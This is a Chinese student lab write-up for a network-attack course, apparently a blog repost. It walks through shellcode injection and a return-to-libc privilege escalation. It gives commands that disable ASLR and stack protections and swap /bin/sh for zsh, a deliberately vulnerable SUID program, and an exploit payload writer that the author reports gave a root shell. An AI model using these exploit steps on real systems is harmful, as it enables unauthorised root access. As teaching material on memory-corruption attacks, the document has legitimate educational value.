zoukankan      html  css  js  c++  java
  • 20145333 《网络对抗技术》 PC平台逆向破解

    20145333 《网络对抗技术》 PC平台逆向破解

    20145333 《网络对抗技术》 PC平台逆向破解

    Shellcode注入

    基础知识

    • Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢出,覆盖成为指向 shellcode的地址。

    实践过程

    • 先将环境设置为:堆栈可执行、地址随机化关闭

    • execstack -s pwn20145333命令来将堆栈设为可执行状态

    • execstack -q pwn20145333命令来查看文件pwn20145333的堆栈是否是可执行状态

    • more /proc/sys/kernel/randomize_va_space命令来查看地址随机化的状态

    • echo "0" > /proc/sys/kernel/randomize_va_space命令来关闭地址随机化

    • anything+retaddr+nops+shellcode的结构来构造,先估计返回地址所在位置,并且找到 shellcode 所在地址。

    • 要验证返回地址所在位置以及找到 shellcode 地址,需要使用GDB调试。打开另一个终端,先运行pwn20145333可执行文件。

    • 先不输入“回车”,在后面的调试过程中需要继续运行的时候再回车,此时在第一个终端,用gdb来调试pwn20145333进程,找到该进程的进程ID。

    • 打开gdb,用attach指令对该进程进行调试,对foo函数进行反汇编并在ret处设置断点。

    • 继续运行到断点处,显示当前esp的值并依照此位置显示接下来的内存地址内容,来分析我们之前猜测的返回地址位置是否正确以及shellcode的地址。(推算出 shellcode 地址为xd1xd3xffxff

    • 将返回地址修改为0xffffd3d1,执行pwn20145333,成功注入 shellcode

    Return-to-libc攻击深入

    • 环境配置

    • 输入如下指令,创建32位C语言可编译的环境

        sudo apt-get update
        sudo apt-get install lib32z1 libc6-dev-i386
      
    • 输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。

    • 关闭地址随机化

        sudo sysctl -w kernel.randomize_va_space=0
      
    • 为了不让/bin/bash的防护程序起作用(为了防止shell攻击,程序被调用时会自动弃权),我们使用zsh来代替:

        sudo su
        cd /bin
        rm sh
        ln -s zsh sh
        exit
      

    • 在tmp文件夹下创建“retlib.c”文件,并编译设置SET-UID

        #include <stdlib.h>
        #include <stdio.h>
        #include <string.h>
        int bof(FILE *badfile)
        {
        char buffer[12];
        fread(buffer, sizeof(char), 40, badfile);
        return 1;
        }
        int main(int argc, char **argv)
        {
        FILE *badfile;
        badfile = fopen("badfile", "r");
        bof(badfile);
        printf("Returned Properly
      ");
        fclose(badfile);
        return 1;
        }
      
    • GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 “–fno-stack-protector” 关闭这种机制。

    • 在tmp文件夹下准备“getenvaddr.c”文件用于读取环境变量,并编译。

        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>
        int main(int argc, char const *argv[])
        {
         char *ptr;
         if(argc < 3){
        printf("Usage: %s <environment var> <target  program name>
      ", argv[0]);
        exit(0);
        }
         ptr = getenv(argv[1]);
         ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
         printf("%s will be at %p
      ", argv[1], ptr);
         return 0;
        }
      
    • gcc -m32 -o getenvaddr getenvaddr.c

    • 把以下代码(攻击程序)保存为“exploit.c”文件,保存到 /tmp 目录下。

        #include <stdlib.h>
        #include <stdio.h>
        #include <string.h>
        int main(int argc, char **argv)
        {
        char buf[40];
        FILE *badfile;
        badfile = fopen(".//badfile", "w");
        strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
        *(long *) &buf[32] =0x11111111; // "//bin//sh"
        *(long *) &buf[24] =0x22222222; // system()
        *(long *) &buf[36] =0x33333333; // exit()
        fwrite(buf, sizeof(buf), 1, badfile);
        fclose(badfile);
        }
        /*
        代码中“0x11111111”、“0x22222222”、“0x33333333”分别代表 BIN_SH、system、exit 的地址,需要我们接下来获取。
        */
      
    • 用刚才的 getenvaddr 程序获得 BIN_SH 地址。

    • gdb 获得 system 和 exit 地址。

    • 修改 exploit.c 文件。

    • 删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c,然后先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限。

  • 相关阅读:
    前端性能优化
    CSS实现文字在容器中对齐方式
    spring里面的context:component-scan
    Builder模式
    idea无法新建maven项目
    Java-位运算
    pg数据库数据表异常挂起
    Java-多线程与单例
    Java-数据结构之二叉树练习
    Java-JNA使用心得
  • 原文地址:https://www.cnblogs.com/rx719523850/p/6624771.html
Copyright © 2011-2022 走看看